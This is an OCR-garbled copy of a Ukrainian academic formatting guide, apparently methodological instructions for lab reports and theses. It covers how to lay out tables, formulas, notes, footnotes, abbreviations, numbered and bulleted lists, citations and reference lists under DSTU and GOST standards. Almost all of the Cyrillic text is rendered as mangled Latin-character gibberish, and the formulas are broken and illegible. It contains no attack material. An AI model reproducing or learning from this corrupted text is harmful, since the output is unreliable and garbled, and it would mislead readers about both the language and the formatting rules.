CTaBUTHCA Kparka, Hanpukia: «Tabmurs 1.2» (npyra Tabiuiis nepioro po3aity).

Hampuknag — odopmienHs m'stoi Tabiuill TEpIIOro PO3JAUTY HaBEACHO Ha
puc. 4:

Taomung 1.5
Ha3zga Ttabaunui
CooBKa 3a.r0n0131<1/1 rpad .
[Tinzaronosku rpad)| Iligzaronosku rpad
Psnxu TEKCT TEKCT
Panxu TEKCT TEKCT
BokoBuk I'padu
(3aroJIOBKH PSIKIB) (KOJIOHKH)

Puc. 4. Ilpuknag odhopmieHHs Ta0auII
SIKo B po3aum poOOTH JHiIe OAHA Tabnuud, il HyMEpYIOThb 3a 3araJlbHUMU
IpaBUJIAMHU.
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TabnuIo po3MIlLyIOTh MICHS MEPIIOro 3rajyBaHHs MpPO HEl B TEKCTI, Tak, 100
il mMoxxHa Oyno uuTatd 0€3 TOBOPOTY MEPEeIIeTEeHOTo 00Ky poboTn abo 3
MOBOPOTOM 3a CTPUIKOIO TOJIMHHHKA.

Tabnuiro 3 BEIMKOI KUIBKICTIO PSAIKIB MOXKHA TEPEHOCHUTH Ha HACTYIIHY
cTopidKy. Tabmuiri, po3milieHi Ha OKPEMHUX CTOpPIHKaXx pOOOTH, BKJIIOYAIOTH 0
3arajibHOi HyMepallii CTOPIHOK.

[Ipu nepeHeceHH1 TaOauIll Ha HACTYIIHY CTOPIHKY Ha3BY BMIIIYIOTh TIJIbKH HaJl
il mepmor dYactTuHOr. Ha HacTymHIN CTOpIHIII B NEPIIOMY PSAJIKY MpaBOpyd
po3mimytoTh TeKCT «IIpogomxk. Tabi. 2.2 1 Aaii po3MIIIyIOTh MPOIOBKEHHS TaOIHII
3 KOIIIOBaHHSM Ha3B BIANOBIAHUX cToBOWIB. Ilpukmag Takoro odopmiieHHs
HasenieHo B Jlonatky C.

Tabmumio po3mimyiote 3 BupiBHIOBaHHSIM «llo mentpy». Biacrans wmix
nonepeaHiM 1 HACTYIHUM TEKCTOM Ta TaOJUIEI0 3 Ha3BOIO IMOBUHHA CTAHOBUTH
BEIUYMHY OJHOTO psifka (14mr).

6.5. ®opmyiu

®opMynu B JOKYMEHTI, SKIIO iX OUIbII OAHIEI, HyMEPYIOTbCS apabChbKUMU
nudpaMy, HOMEP CTaBJIATh 13 MpPaBOi CTOPOHU CTOPIHKH, Yy JYyXKKax, Ha pIBHI
dbopmynu. Y mexax ychboro JOKyMeHTa a00 MOro 4acTWH, y BHMIAJKaX PO3MOILTY
JOKYMEHTa Ha 4YacTUHHU, (HOpMYyIH MaroTh HACKpi3Hy HyMmepauito. ITocunanus B
TEKCT1 Ha MOPSIKOBUII HOMEP (POPMYJIH JAOTh Yy AYXKKaX, HAMPUKIAL, «y GopMyil
(3)». Ilpu posmomini JTOKyMEHTa Ha YaCTHHU, HOMEP YACTHHU CTaBUTHCS IEPe]
MOPSIIKOBUM  HOMEpPOM  (QopMysd W BIIJIUIBIETBCS BIJ] OCTAaHHBOTO KPAIKOIo,
Hanpukian, «y Gopmyini (2.4)». 3HaYCHHS CHMMBOJIB 1 YUCIOBUX KOCQIIIEHTIB, IO
BXOAATh y (opMyay, NMOBUHHI OyTHM HaBeleH1 Oe3MocepelHbo il (POPMYIIOK0.
[lepmmii psaok po3mm@pyBaHHs NOBUHEH MOYMHATHUCSA 31 ciioBa "ae", 6e3 JBOKpanku
micasi HHOTO. 3HAYEHHS KOKHOTO CHUMBOJIY JIPYKYIOTh 13 HOBOTO psIIKa B TIH K€
MOCJIIIOBHOCTI, Y SIKifi BOHM HaBeieH1 y (hopMyIii, HalIpUKIIAI;:

m
2.4
”k(Vi)=Z”j(Xi’Vj) (2.4)
j=1
e 7Z'(Vi ) — CEMaHTHYHA 3HAYYLIICTb JUI1 KO)KHOTO Habopy Vi,

7Z'j(Xi,V j) — CEMaHTU4YHAa 3HAYYyIICTh €JIEMEHTa X; B KOHTEKCTI Habopy

CJIEMCHTIB V.

Po3mipHiCTh TOTO camMoro mapaMerpa B MeXaX OJHOTO JOKyMEHTa ITOBHHHA
OyTH NOCTIIHOIO.

[losicHeHHs 3HAYe€Hb CHUMBOJIIB 1 YHCIOBHX KoedimieHTiB Tpeba momaBaTH
oe3mocepenHbo Mg (GopMysio0 B Til TMOCHTIIOBHOCTI, B SIKIi BOHHM HaBEJICHI Yy
dbopmyii.

3HaYeHHsS KOXKHOTO CHMBOJIy 1 YHCJIOBOTO KoedirieHTa Tpeba momaBatv 3
HOBOTO psI/IKA.

PiBusaHHS 1 dopmynn po3MmillyroTh 3 BuUpiBHIOBaHHSM «Ilo 1ieHTpy» Ta
BUJIUISIFOTH 3 TEKCTY BHIIE 1 HM)KYE KOXKHOI (POPMYJIM HE MEHIIE OJHOr0 BUIBHOTO
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psanka (14nT).

SIKuI0 piBHSHHS HE BMIIIYETHCA B OIMH PSIIOK, MOTO CIiJ MEPEHECTH MiCs
3HaKa piBHOCTI (=), a00 Miciisl 3HAKIB IJT0C (1), MiHYC (=), MHOKEHHS.

HymepyBartu ciija nuiie Ti GopMyIH, Ha K1 € IOCUJIaHHS B HACTYITHOMY TEKCTi,
[HI1i HYMepyBaTH HE pEKOMEHIYEThCs (pHC. D).

dy = (3.1)
L (W, +W;)

e 100yTOK Ly (V\/i +Wj) — CcuJia 3B’A3Ky MK BepuuHamu C; ta C;, Q — KOHCTaHTa,

AKa 3aJEKUTHh BIJ OCOOJMBOCTEH KOHKpETHOI oHTousorii. Cuiia 3B’S3Ky MIXK

BEpILIMHAMU O00EpHEHO-TIPONOpIIiiHa 10 BIACTaHI MK HUMU. ToJll BiICTaHb d; MDK

Oyab-SKHMHU IBOMa HECYMDKHMMHM BeplIMHamMu C; Ta C; NOPIBHIOE CyMi BiACTaHEH

MK CYMDKHUMH BEPIIMHAMH, K1 HAJIEKATh HAMKOPOTIIOMY IIJISIXY MK HUMH.

Puc. 5. Ilpuknan opopmiienHs popmynu

3arajibHe IPABUIIO MYHKTYaIlii B TEKCTI 3 (bopMyJIaMI/I Take: ¢popMyia BXOJIUTh
JI0 PEYCHHL SIK HOro plBHOHpaBHI/II/I enemMeHT. Tomy B KiHITI cpopMyJI 1 B TEKCTI mepe
HUMH PO3JI1JIOBI 3HAKW CTaBJISATh BIJIMOBITHO 10 TIPABWII MyHKTYAITIi.

JIBokpanky miepea (opMyJIO0 CTaBISATH JIMIE Y BHUIIAAKaX, IMepeadadyeHux
MpaBUJIaMH MYHKTYaITii:

a) y TekcTi nepes GopMyJioro € y3arajbHIOIUYE CIIOBO;

0) 1pOTO BUMarae moOya0Ba TEKCTY, IO nepeaye hopmyi.

PozninoBumu 3HakamMu MK (QopMysiamu, KOTpi HWIyTh OJIHA TiJ OJHOIO 1 HE
BIJIOKpEMJIEHI TEKCTOM, MOXYTh OyTH KoMa a00 Kpamka 3 KOMOK 0e3MocepeHbo 3a
dbopmyioro 1o ii Homepa.

[Ticnst TakuX TPOMI3AKUX MaTeMaTUYHUX BUpPAa3iB, SIK BU3HAYHUKU 1 MaTpPHII],
MOXHa PO31JI0B1 3HAKW HE CTaBUTH.

6.6. [IpumiTKH Ta BUHOCKH

IIpumiTka — 116 KOPOTKHUI 3aMuUC, 10 CIYTy€e MOSICHEHHSIM /10 TEKCTY, TabIuI
a0 1TrocTpari.

PosminytoTe mpumiTKy 3 ab3airy Oe3mocepeNnHbO MICHs TEKCTY, TaONHIll YH
UTIOCTpallil, TOYMHAIOTH 3 BEJIMKOI JIITEPU Ta HyMEPYIOTh MOCIIIOBHO B MEXKaX OJHIET
CTOpIHKH. SIKIIIO MPUMITOK Ha OJHOMY apKylll KiJibKa, TO micis cioBa «lIpumiTkm»
CTaBJISATh ABOKPANKY, HAPUKIIAL:

[TpumiTku:

1. ..

2. ...

SIko € ogHa MpHUMITKA, TO ii HE HyMepyroThb 1 michs cioBa «lIpumitka»
CTaBJIATH KPAIKY.
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Taban 2
Ha6opu 1anux, BUKOPUCTOBYBAHI JJI PO3APYKIBKH

[Tpu3HaueHHs CranpaptHe iM'ss | BukopucroByBaHe
oOJ1aTHaHHS
Jlst iHbopMaIiitHOT po3apyKiBKH 5SSSSssY HpykyBanbHuii
IpUCTPi
Jl51is po3ApYKIBKH 1] 4ac PPPPPPPP JpyKyBaJIbHHIA
BHUKOHAHHS IPOrpaMu IpUCTPi
[TpumiTku:

1. Im's SSSSSSS mnoBunHe OyTH 3ajlaHe MpU HACTPOIOBAHHI OIEpaIiiHOl
CUCTEMHU.

2. Jlmsg 3MEHIIIEHHS TMPOCTOIB IEHTPAJBHOIO IIpollecopa uepe3 omeparii
BBEJICHHS-BUBOIY MOKe OyTH BUKOPUCTAHUM 30BHIMIHINA MTPUCTPIM.

BuHOCKH — 1€ TAKOK MOSICHEHHS 10 OKPEMUX JIAHUX Y TEKCTI 400 B TaOIMIISIX.

Bunocku po3MIIIyIOTh TiJI TEKCTOM 1 IO3HAYaIOTh apaOChbKUMH Iudpamu,
HYMEpPYIOUM Ha KOXKHII CTOpIHII OKpemo. J[03BOJIEHO Ha OJIHIM CTOPIHII TEKCTY
3aCTOCOBYBATH HE OUIbLIE, HIXK YOTUPHU BUHOCKH.

3HaKM BUHOCKH IMPOCTABIIAIOTH OE3MOCEPEIHbO MICHs CIO0BA, YMCIa, CUMBOJLY,
PEYEHHS, 10 IKOTr0 JAOTh MOSICHEHHS, Ta IEPEl TEKCTOM MOSICHEHHS.

[le#i camuii 3HaK CTaBJIATH 1 TIEpe1 MOSICHIOBAIBHUM TekcToM. [losicHIoBanbHUM
TEKCT BUHOCKH MUIIYTh 3 a03alHOTO BIACTYMY 32 HACTYTHUMHU IIPaBUJIaMHU:

1. V TekcTi 3anucKu: y KiHIIl CTOPIHKH, HA K1/ 3a3HaYEHO BUHOCKY.

2. Y Tabmuil: I OCHOBHOIO YaCTUHOIO TaOIHIIl, aJie B 1i MeXKax.

BuHOCKy BIZOKpEMIIOIOTH BiJl OCHOBHOTO TEKCTYy UM TaOJHUI[l TOHKOIO
TOPU30HTAJIBLHOO JIIHIE 3aBAOBXKKHU Biag 30 mm 10 40 MM , 3 BupiBHsBaHHAM «llo
JiBOMY Kpato». TeKCT BUHOCKU APYKYIOTh mipudTom 12 po3mipy, 3 oguHapaum (1 0r)
MDKPSAKOBUM IHTEPBAJIOM.

[lpuknag wnuratu B TekcTi: «HaimioHanbHUN TipHUYUN  YHIBEPCUTET —
HaifcTapiimii BUIMIA HaBYaTBHII 3aKIIa ] TipHIIoro mpodinto B YKpaini™.

BianosigHe mogaHHs BUHOCKU:

' 3acnoBanuit y 1899 poui sx KarepuHocnaBchke BHILE TipHUYE YUUIIHIIE.
6.7. CkopoveHHsi

Cxopo4eHHs CITIB y TEKCT1 Ta HAMKCAaX IMiJ UTIOCTPALISIMA HE JJOMYCKAIOThCs, 3a
BUHATKOM:

— ckopoueHb, BcraHoBieHux B JICTY 3582:2013, 1 3aranbHONpUHHATHX B
BUKOPHCTaHIA MOBI;

— CKOpPOYEHb, IO 3aCTOCOBYIOTHCA JUJIsl TIO3HAUEHHS MPOrpaM, iX YacTUH Ta
pEeXHUMIB pOOOTH, B MOBaX yMpaBIiHHS 3aBIaHHSAMH, B 3aC00aX HACTPONKHU MPOrpaMu
1 T.1I., 1 MO3HAYAIOTHCS OYKBaMU JIATUHCHKOTO andaBiTy.
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He 103BONISIETHCA HABOJWTH CKOPOUYEHI IMO3HAYEHHS (PI3UUYHUX BEJIMYHH, SKIIO
BOHU BXKHBAIOTHCS 0€3 1u(p, 32 BUHATKOM 1X HABEICHHS B TaOIHUIIIX.

Skimo B JOKYMEHTI MNpUMHATA OCOOJHMBAa CHCTEMa CKOPOUYCHHS CIIIB abo
HalilMEeHYBaHb, TO B HHOMY IIOBHHEH OYTH HAaBEICHUW TMEpEeNiK MNPUHHATHX
CKOpoueHb. [lepeniku CKOpOYEeHh Ta YMOBHHMX TIO3HAK CIHiJ PO3TAIllIOBYBAaTH
cToBmieM 3a aberkor0 Ha okpemomy apkymi <«JIEPEJIIK VYMOBHUX
[TO3HAYEHb». JliBopyu B a0eTKOBOMY MOPSIKY HABOASTH CKOPOUYEHHS 200 YMOBHI
MO3HAKU CIOYATKy YKPaiHChKOI MOBOIO, a MOTIM IHIIMMH MOBaMU (3a HasBHOCTI), a
paBoOpyY — iX po3mU(pyBaHHS.

[Tpuknan opopmieHHS meperiKy yMOBHUX MMOCHIIaHb 3a3Ha4yeHo B Jlomatky Jl.

6.8. Ilepeniku Ta cnucku

Ilepesik — nepepaxyBaHHs MPEAMETIB, 0C10 1 00'€KTIB, Ha K1 MOUITUPIOIOTHCS
NIEBHI HOPMU 1 BUMOTH.

[lepenik MoOXe pPO3TAIIOBYBATUCS JIMINE Ticas ad3aiy 3BUYAHOTO TEKCTY,
OCTaHHE PEYCHHS B IKOMY 3aKIHUY€ETHCS JBOKPAIKOIO.

[lepmmii MyHKT Tepesiky HE MOKe OyTH NEepIIUM PEYECHHSIM Ha CTOPIHIIL.
[lepenik He MOe CKIaaaTucs 3 OAHOro MyHKTY. KoxxHMil ab3all nepesniky HOBUHEH
pPO3MOYMHATHCS 3 MaJloi JITEPU Ta 3aKIHUYBaTUCS Kpalkow 3 KoMoro. OcTaHHe
PEUEHHS y MEPENiKy MOBUHHO 3aKiHUYBaTHUCS KPAIKOIO.

[lepeniku MOXyTh OyTH HyMmepoBaHi (TiepepaxyBaHHs)) a00 HEHyMEpOBaHi.
[lepen KOXKHOIO MO3UIIEID HYMEPOBAHOTO NEpepaxyBaHHS CTaBUTbCA Mala JiTepa
TOTO andasiTy, MOBOIO SIKOTO HallMCaHa 3aMucKa, 3 AYXKKO. Ko mepermideHHs
BUKOHYEThCS 0€3 HyMmepallii — TO Mepell KOKHOI MO3MUIIEI0 CTaBUThCA nedic (Ha
NepIIOMY PIBHI AeTani3allii).

[Tpuxmang HyMepOBaHOTO TIepepaxyBaHHSI.

Bapiantu Tumy 3aieXHOCTI MK 3aBIAHHSIMU MTPOEKTY:

a) SKIIO 3aBJAHHS 3aJEXKHUTh Bl JACKIJIbKOX MOMNEPEIHUKIB, CI1J YTOUYHHUTU
B3a€EMOBIJHOILIEHHS MDK HUMH 1 1O MOXJIMBOCTI BHUAAJIUTH HAWMEHII CYTTEBI
3aJIC)KHOCTI;

0) SKIO 3aJIKHICTh MK 3aBJAaHHSMHU TMOPO/KEHA BUKOPUCTAHHSIM 3arajbHHUX
pecypciB, TO CIiJI, IO MOKJIUBOCTI, YTOUHUTH TEPMIHU 3aCTOCYBAHHS IIMX PECYPCIB 1
BUJJAJIMTH 3B'SI30K MK 3aBJIaHHSMU IO Yacy.

[Tpuxnan HEHYMEpPOBaHOT'O TIEPETIKY.

3BIT J1a00paTopHOi pOOOTH TOBUHEH MICTUTH:

— THUTYJIBHUHN apKyIll 3 HOMEPOM JIabOpaTOpHOi poOOTH Ta ii HA3BOIO;

— YMOBY 3aBJIaHHS Ta JIJaH1 CBOT'O BaplaHTa;

— CKpUHIIOTH (JOPM MPU BUKOHAHHI 3aB/IaHb;

— CKPHUHIIOTH PE3yJIbTATIB OLIIHKK BapTUCTI MPOEKTY;

— BHUCHOBKH.

Jns momaneioi metainizallii mepepaxyBaHHsS CIijJi BUKOPUCTOBYBAaTH apaOChKi
udpu 3 TyKKO0 (Ha Apyromy piBHI JeTasizaliii).

[Ipy HEOOXiMHOCTI BUKOPHUCTAHHSA l€papXiYHUX TEpeNiKiB  HEoOX1JTHO
JOTPUMYBATUCA TUX K€ MPaBUI O(POPMIIEHHS, 1110 1 sl 3BUYAMHUX TEepPEiKiB.

Bceboro npumycTiMo BUKOPUCTOBYBATH TPU PIBHS BKJIAEHOCTI nepenikiB. [Ipu
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IOMY, y a03alll KO)XHOTO HACTYITHOTO PIBHS 30UIBIITYETHCS PO3MIP BIJCTYIY ab3airy
3J1iBa, Ta BIJICTYI MIEPIIOTO psiiKa - Ha 1, 25 MM y IOpIBHSHHI 3 MOMIEPEHIM PIBHEM.

[Tpuknan:

a) (opma i po3mip KJIITHH;

0) >KUBHI BMICT KJIITHUH:

1) YacTHHU KJIITHH,
2) HEXUBI BKIIIOUEHHS IPOTOILJIACTIB,;

B) YTBOPEHHS TKAHHUHH.

B sxocTi Mapkepa HEHYMEpPOBAHOIO MEPeiKy BUKOPHUCTOBYETHCS BHUKIIOYHO
nedic (cumBon "— " 3 mpudty Symbol).

Cnucku B JOKYMEHTI BUKOPHUCTOBYIOTH UIA TiACyMyBaHHsS iH(opmamii y
TEKCTI, IIJIBHIIICHHS i1 HAOYHOCTI Ta CHCTEMAaTH3allli TaHuX.

Cnucok 1 mepenik - ayxe OMu3bKI 3a O(QOPMIICHHSIM €JIEMEHTH TOKYMEHTY.
Crucok TakoX pO3TallOBYBaTHCS TMicisi ab3ally 3BHYAWHOTO TEKCTY, OCTaHHE
pEUYECHHS B SAKOMY 3aKIHUYETHCS JBOKPAIKOIO, ajie HE BUKIIOYEHI ¥ BUITAJKH, KOJIH
HOMEPEHBOI0 PEUYEHHSI HE ICHYe, a00 BOHO € 3aroJIOBKOM (CIIMCOK — JIOKYMEHT:
CIUCOK BUKOPHUCTAHOI JIITEpAaTypH, BUCHOBKH 1 T.1.). KoxkHMI1 a03a1] ciucKy B ycix
BUIAKaX MOBUHEH PO3MOYNHATHUCS 3 BEIHMKOI JITEPU Ta 3aKIHUYYBATHUCS KPAIKOIO.

[cHyrOTP HyMEpOBaHI Ta MapKipOBaHiI CHHMCKH, a TaKOX OaraTopiBHEBI. SKIIO
aBTOp Mae€ MOCIIJOBHY 1H(pOpMaIIil0, Kpalle BUKJIACTH ii y BUIVISAI HYMEPOBAHOIO
CIHCKY, KOXKEH PSJAOK CIHCKY SIKOTO MOBHMHEH MOYMHATHCS 3 apabcbkoi mudpu 3
Kpankorw. Hanpuknan:

Jlnst  cTBOpeHHS HOBOTO (popMaTy HYMEpPOBAHOTO CIIMCKY CIiJI Y BIKHI
«Bu3HaueHHS HOBOTO YUCJIOBOTO (hopmaTy»:

1. BuOpatu B civicKy BU HOMepa (Yuciia, JJITepH TOIIIO).

2. SIxmio moTpiOHO, BBECTH TEKCT Mepes] HoMepoM abo MicCis HbOTO.

3. Bubpatu cnioci® BUpIBHIOBAHHS TEKCTY CIIHCKY.

4. TlepermsiHyTH 3pa30K ohopmIICHHS.

5. Bubpatu knonky OK.

VY Bumaakax, KOJM MOCIIOBHICTh HE € 00OB’SI3KOBOIO, MAapKIpOBaHUN CITHCOK
MOX€ BUSIBUTUCS AOUUIbHIIMM. Hanpukian:

Micra Ykpainu:

- KuiB - ogHe 3 HalOUIbIIMX 1 HalcTapimmx Mict €Bponu. Po3ramoBanuii y
cepenniii Teuii Jminpa, B miBHIuHIM HammuinpsammuHI. [IpoBigHUN MNOIITHYHHA,
COIIAIbHO-EKOHOMIYHUI Ta HAYKOBHM IIEHTP KpaiHU.

- Opmeca - MICTO Ha YOPHOMOPCHKOMY Yy30epexoki YKpaiHu, HaOUTbIITUi
MOPCHKHUI TIOPT B KpaiHi, MICTO 00J1aCHOTO 3HaueHHs, IeHTp Onecbkoi o0macTi.

Howmep psnka (myHKTY, MiANYHKTY) B 0araTopiBHEBOMY CIIHCKY CKJIAJAa€ThCs 3
HOMEpa MyHKTY 1 MOPSIKOBOIO HOMEpa MiANYHKTY, MK SIKUMH CTaBJISITh Kpamnky. B
KiHIII HOMEpa MIAMYHKTY TMOBHHHA CTOSTH Kpamnka. [Ipu 1poMmy, KOXKHHI MyHKT
MOYMHATUMEThCS 3 ab3ally, a KOXX€H HOBHM piBE€Hb 31 30UIBLICHHSM BIJICTYIY
MepIIoro psijaka adb3aiy Ha 1,25 cM y mopiBHsSIHHI 3 monepeHiM pieHeM. Hanpuxnan:

1. HopmaTtuBHa yacTuHa:

1.1. OcHoBM nporpaMmyBaHHS.
1.2. IIporpamHa iHXeHEPis.
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2. BubipkoBa yacTuHa:
2.1. 3acobu MmyapTUMETIA.
2.2. [lpakTuka:
2.2.1. HapuanpHa TEXHOJIOTIYHA.
2.2.2. IIpoeKTHa TEeXHOJOTIYHA.
baraTtopiBHeBUI CIUCOK MOKE TaKOX BKJIIOYaTH B cebe mepenik. B Takomy
BUIAJIKY BHKOPHUCTOBYIOTH 3arajibHi MpaBWiia CKIAJaHHS CIHUCKY Ta IMEpeiKy.
Hanpuknan:
s Toro, mo0 Bka3zatu B cumcreMi Microsoft Project mapricte pecypcy,
HEOOX1/THO BUKOHATHU HACTYITHI KPOKHU:
1. Biakputu Oyap-sikuii 3 ABOX HpeacTaBieHb: «Jlucm pecypciB» abo
«BukopucTaHHs pecypciBy 1 B4l KJIAIHYTH MUIILICIO B PSIAKY PECYPCY.
2. YV manoroBoMmy BikHI «B1gomMocTi Mpo pecypc» NEpedTH Ha BKIAIKY
«ButpaTtm».
3. 3a nonomoroto crucky «HapaxyBaHHs BUTpaT» oOpaTH METO]| HapaxXyBaHHS
BUTpAT. JlaHUii CIUCOK MICTUTh TPU MyHKTH:
- « Ha MOYATKY» - OIJIaTa HAa MOMEHT I0YaTKy 3aBJ/IaHHS;
- «miclig 3aKiHYEHHs» - oIUlaTa Ha MOMEHT 3aKIHYEHHS BHUKOHAHHS
3aBJIaHHS;
- «TPOTOPIIIAHE» - OIjIaTa Mo Mipl BUTPAYaHHS pecypcy.
4. Knannytu Ha ko OK.

6.9. [Mlocn1aHHA

B xon1 HanrcanHs poOOTH y4eHb MTOBUHEH MOCUJIATUCS HA JpKepesa, MaTepiaiu
abo OoKpeMi pe3yibTaTH, SIKi HaBOJATHCSA B poOOTI, a00 Ha 1€l 1 BUCHOBKH, 3 SKUX
PO3pO0IIIOIOTHCS MPOOJIeMH, a00 3aB/IaHHS Ta MMUTAHHS, BUBYEHHIO SKUX MPUCBSYCHA
pobGota. Taki TOCWIaHHS JalOTh 3MOTY BIAUIYKAaTH JOKYMEHTH 1 TEPEeBIPUTH
JIOCTOBIPHICTh ~ BIJIOMOCTEH MpO IUTyBaHHS JOKYMEHTa, Jal0Th HEOOXIJHY
1H(opMaIlito 1100 HBOTO, IOMIOMArarTh 3'1CyBaTH HOTO 3MICT, MOBY TEKCTY, OOCSIT.

[Tocunarucs ciij Ha ocTaHHI BuAaHHS myOsikamii. Ha Ouibln paHHi BHIaHHS
MOXHA TIOCWJIATUCS JIUIIE B TUX BUIAJKaX, KOJIM HASBHUNA y HUX MaTepiayi, He
BKJIFOUEHUH 10 OCTAHHHOTO BHUJIAHHSI.

Jis  TATBEpIKEHHS BIIACHUX apryMEHTIB MOCHWJIAHHSIM Ha aBTOPHUTETHE
JpKepeno abo sl KpUTUYHOTO aHali3y TOTO YW 1HIIOTO JIPYKOBAHOI'O TBOPY, CIiA
HaBOAWUTU IUTaTH. HaykoBuii eTmkeT moTpedye TOYHO BIATBOPIOBATH IUTOBAHUMN
TEeKCT, 00 HalMEHIIIE CKOPOYCHHS HABEICHOTO BHUTATY MOXE CIOTBOPUTH 3MICT,
3aKJIaJICHUN AaBTOPOM.

3araibHi BUMOTH JI0 IUTYBaHHS TaKi:

a) TEKCT IUTAaTH TMOYMHAETHCS 1 3aKIHYYETHCS JAamKaMH 1 HaBOJWTHCS B TIU
rpaMaTtuyHid ¢popmi, B sIKI BIH NOJIAaHUN Yy JIKEpedi, 13 30epekeHHsIM 0CO0IMBOCTEN
aBTOPCHKOTO HamucaHHsA. HaykoBi TepMiHHM, 3aIIPONOHOBAaHI 1HIIMMU aBTOpPaMH, HE
BUJIIISIFOTHCS JIATTKAMHU, 3a BUHSITKOM THX, 1110 BUKJIMKAIN 3arajbHy MOJEMIKY. Y ITUX
BUIIAJIKaX BUKOPUCTOBYETHCS BUPA3 «TaK 3BAaHUNY;

0) T1UTyBaHHS TIOBUHHO OYTH TIOBHHUM, 0€3 JIOBUIBHOIO CKOpPOYEHHS
aBTOPCHKOTO TEKCTy Ta 0e3 mepekpydeHb IyMOK aBTopa. lIpomyck ciiB, pedeHs,
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a03alliB MpH IUTYBaHHI JOMYCKAa€ThCS 0€3 MepeKpydeHHs aBTOPCHKOIO TEKCTY 1
MO03HAYAETHCS TPhOMA KpankaMmu. BoHH cTaBIsAThCS Y OyAb-sIKOMY MICIl IIUTATH (Ha
MoYaTKy, BCEPE/IMHI, HANPHKIHIN). SIKIIO Mepe BUMYIMICHMM TEKCTOM abo 3a HUM
CTOSIB PO3/IIJIOBUI 3HAK, TO BIH HE 30€pIracThCs;

B) KO’KHA LIUTaTa OOOB'SI3KOBO CYNPOBOIKYETHCS TOCUIIAHHAM Ha JIKEPEIo;

I') TpH HEMPsIMOMY IIUTYBaHHI1 (TIepeKkasi, BUKJIa/l JyMOK 1HIINX aBTOPIB CBOIMU
CJIOBaMHM), IO JAa€ 3HAYHY EKOHOMIIO TEKCTy, CiIiJi OyTH TpaHUYHO TOYHUM Y
BUKJIAJICHHI JYMOK aBTOpa, KOPEKTHUM IIOJO OI[IHIOBaHHS HOTO pe3yNbTaTiB 1
JaBaTH BiJIMTOBIIHI MMOCWJIAHHS HA JHKEPEIIO;

1) SIKIO HEOOX1THO BUSIBUTH CTaBJICHHS aBTOpa pOOOTH JI0 OKpPEMHX CIiB abo
JYMOK 3 IIUTOBAHOT'O TEKCTY, TO MICJS HUX Y KPYIJIUX AYXKKaX CTaBIATH 3HAK OKJIUKY
a00 3HAK MUTaHHS.

[Ipy mnocunaHHAX HaA BIANOBIAHE JHKEPENO HEOOXITHO TMPOCTABISATH Y
KBaJIPAaTHUX JYXKaX HOTO MOPAIKOBHI HOMEp BIJMIOBITHO JI0 TIEPEITIKY MOCUIATBHUX
JIOKYMEHTIB, Hampukiaa: «Bupimennsm 3agadi nomyky rpadiyHuX 00’€KTIB 3a
3MICTOM 3aiiMalOThbCA BEJMKI KOpIOpallii, fKI TOTOBI BKJIAJaTH BEJMKI TpOIIl B
PO3pOOKY BiIMOBIAHKUX 3acToCcyBaHb [30]».

S0 HeoOXiHO TOCWIIATUCA Ha JEeKUIbKa JKEpel, TO IX 3alUCyloTh Y
KBaJIPAaTHUX JYXKKaxX 4epe3 KOMY, HallPUKJIA;:

1. OcHOBHI HampsIMKU JOCHII)KEHb MOKHA MOOAUYUTH B TaKUX OTJISIOBUX
poborax sik [5, 7].

2. 1lpoMy HMTaHHIO IPUCBAYCHI poOOTH [2, 4 — 7].

3. PozpaxoByemo 3a dhopmyroro [4]:

ro .
F=0[wgy+ ﬂr—(S"’lV gy +cosy)]..
0
4. 3aznauenuii koedimieHT nopisHtoe 1,76 [16, Tabmurs 1.4].

5. JI. Toncroti [15, ¢. 4] HarosomryBaB: «3HaHHS — HE METa , & 3HAPSIIN.

6.10. Cnucok BUKOPUCTAHHUX JI3KepeJt

Cnucok BHKOPHUCTAHHMX JDKEpEn — eleMeHT Oi0miorpadigyHoro amapary, Mo
MICTUTh 010miorpadiuHi ONUCH BUKOPUCTAHUX JIKEpPENd 1 PO3MIILYEThCS MICIS
BHCHOBKIB.

ITepenik kepen, Ha SKi € IIOCHJIAHHS B OCHOBHIM YacTHHI, ITOAAIOTh,
MOYMHAIOYM 3 HOBOI CTOPIHKH, KOKHA MOT0 MO3UIlISI TOJAEThCS 3 a03ally y BUTIISIL
HYMEPOBAHOTO CIHCKY 3 monyTopauM (1,5 nT) MikpsakoBuMm iHTepBasioM. J[xepena
MOKHa pO3MIIIYyBaTU B  aidaBiTHOMY (CIIOYATKy WIyTh JKepena, HaJIpyKOBaHI
KUPUJTUIICIO, TIOTIM — JIATHHHIICIO) YU B XPOHOJIOTTYHOMY TOPSIIKY, 200 B MOPSAKY
MOSIBU NIOCHJIaHb HA HUX Y TEKCTI (HalOLIbII 3pYyYHUI 711 HAYKOBUX POOIT): KOXKHY
HO3ULII0 BHOCSTh B TAKOMY BHUIAJIKY y CIIMCOK BIJIOBIIHO /10 MEPLIOi 3raJKu Npo Hel
B TEKCTI MOSICHIOBAJBHOI 3alMCKU. 3a TaKMX YMOB TMOPSAKOBUII HOMEp OIUCY €
OJTHOYACHO MOCHJIAHHSAM Yy TEKCTI1 (1€ TaK 3BaHl HOMEPHI MMOCUJIaHHSA).

3a HeoOX1IHOCTI JKepera, Ha AKl € TMOCUJIaHHS TIIbKM B JIOJATKY, BHOCATH B

OKpEMUI MepetiK, pO3MIIeHU MicJIsl 10aTKa.
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bibGmiorpadiunuit onuc mxepen CKiIaJaloTh BIAMOBIAHO JO YNHHUX CTAaHAAPTIB 3
010,110T€UHOI Ta BHJJIABHUYOI CIPaBH, MDKHAPOIHUX 1 JEPKaBHOTO CTaHIAPTIB 3
00OB’SI3KOBUM HAaBEJCHHSIM Ha3B Ipallb. 30KpeMa NOTpiOHY iH(OpMaIlil0o MOXKHA
OJIEpKATH 13 TAKUX MIKJACP>KaBHUX 1 JICP>)KaBHUX CTaHIAPTIB:

— JACTY I'OCT 7.1:2006 «Cucrema cranaaptiB 3 iHpopMaiiii, 616J110Te4HOT Ta
BUJIaBHUUO1 crpaBu. biOmiorpadiunuit 3anuc. biomiorpadiunmii omuc. 3aranbHi
BuMord Ta npasuia ckinaganus (COCT 7.1-2003, IDT)»;

— JCTY 358297 «Iudopmanis Ta mokymeHTtaris. CKOpOYeHHS CIiB B
pra'l'HCLKiﬁ MOBI y 610miorpadiuHomMy onwci. 3arajabHi BAMOTH Ta MIPaBHIIay;

JACTY 7093:2009 «Cuctemu cTaHmapTiB 3 1H(1)opMau11 0101i0TeYHOI Ta
BUJIaBHNYO1 crpaBu. bibmiorpadiunuii 3ammuc. CKOPOYECHHSI CIIB 1 CJIIOBOCITONYK,
MO/TAHNX 1HO3EMHHUMH €BPOIEHCEKIMHU MOBAMI»;

— T'OCT 7.12-93 «CUBU/I. bubnunorpaduueckas 3anuch. CokpamieHue CiIoB
